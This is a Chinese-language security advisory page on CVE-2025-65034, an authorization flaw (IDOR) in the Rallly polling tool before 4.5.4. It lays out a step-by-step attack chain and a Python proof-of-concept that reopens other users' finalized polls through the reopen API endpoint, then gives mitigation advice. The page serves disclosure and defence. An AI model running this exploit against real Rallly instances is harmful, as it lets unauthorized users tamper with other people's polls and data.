IPBUF安全漏洞报告
English
CVE-2025-65034 CVSS 8.1 高危

CVE-2025-65034 Rallly投票系统不当授权漏洞允许重开他人投票

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-65034
漏洞类型
不当授权(IDOR)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Rallly

相关标签

不当授权IDORRallly投票系统高危Web应用漏洞访问控制绕过CVSS 8.1

漏洞概述

Rallly是一款开源的日程安排和协作工具,广泛用于组织会议、活动和团队投票。在4.5.4版本之前,该应用存在一个严重的不当授权漏洞(Insecure Direct Object Reference,IDOR),允许任何已认证用户通过操纵pollId参数访问和操作其他用户的已结束投票。攻击者只需获取一个有效的用户账户,即可重新打开任意已结束的投票,这不仅破坏了投票数据的完整性和可用性,还可能导致组织活动流程的混乱和信息泄露。该漏洞的CVSS评分为8.1,属于高危级别,对系统的机密性、完整性和可用性均造成严重影响。攻击复杂度低,无需特殊技术能力即可实施攻击,这使得该漏洞具有较高的实际威胁性。

技术细节

该漏洞属于典型的IDOR(不安全的直接对象引用)漏洞。在Rallly应用中,投票(Poll)资源通过pollId进行标识和访问控制。当用户尝试重新打开一个已结束的投票时,系统仅验证用户是否已登录(认证状态),但未正确验证该投票是否属于当前用户。攻击者可以通过以下方式利用:1)使用自己的账户登录系统;2)通过API请求或URL参数指定目标投票的pollId;3)发送重新打开投票的请求。系统在处理请求时,由于缺少对投票所有权的验证,导致攻击者可以成功重开任何已结束的投票。这种授权缺陷源于服务端对用户输入的pollId参数缺乏有效的所有权校验,允许攻击者绕过预期的访问控制机制访问和修改其他用户的资源。

攻击链分析

STEP 1
步骤1
攻击者注册并登录Rallly平台,获取有效的认证令牌(Bearer Token)
STEP 2
步骤2
攻击者通过信息收集获取目标投票的pollId(可通过社工、公开链接或日志泄露等方式获取)
STEP 3
步骤3
攻击者构造恶意请求,向/api/polls/{pollId}/reopen端点发送POST请求
STEP 4
步骤4
服务端验证用户已认证,但未验证投票所有权,直接执行重开操作
STEP 5
步骤5
目标投票状态从finalized变为active,攻击成功完成
STEP 6
步骤6
攻击者可通过修改投票选项或删除投票等方式进一步破坏数据完整性和可用性

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-65034 PoC - Rallly IDOR Vulnerability # Description: Authenticated users can reopen finalized polls belonging to other users TARGET_URL = "https://your-rallly-instance.com" ATTACKER_TOKEN = "your-authentication-token" def exploit_reopen_poll(target_poll_id): """ Reopen any finalized poll by manipulating pollId parameter This exploits the IDOR vulnerability in Rallly < 4.5.4 """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Identify the poll you want to reopen (must be in finalized state) target_poll_id = target_poll_id # Step 2: Send request to reopen the poll (IDOR - no ownership check) reopen_endpoint = f"{TARGET_URL}/api/polls/{target_poll_id}/reopen" try: response = requests.post(reopen_endpoint, headers=headers, json={}) if response.status_code == 200: print(f"[+] SUCCESS: Poll {target_poll_id} has been reopened!") print(f"[+] Response: {response.json()}") return True else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") return False except Exception as e: print(f"[-] ERROR: {str(e)}") return False if __name__ == "__main__": # Example: Reopen a poll with known pollId victim_poll_id = "victim-poll-id-here" exploit_reopen_poll(victim_poll_id)

影响范围

Rallly < 4.5.4

防御指南

临时缓解措施
立即将Rallly升级到4.5.4版本以修复该漏洞。在升级前,可通过限制API访问、实施IP白名单或暂时禁用重开投票功能来降低风险。同时建议审查用户权限配置,监控异常投票操作行为,并启用详细的安全审计日志以便及时发现潜在的攻击活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表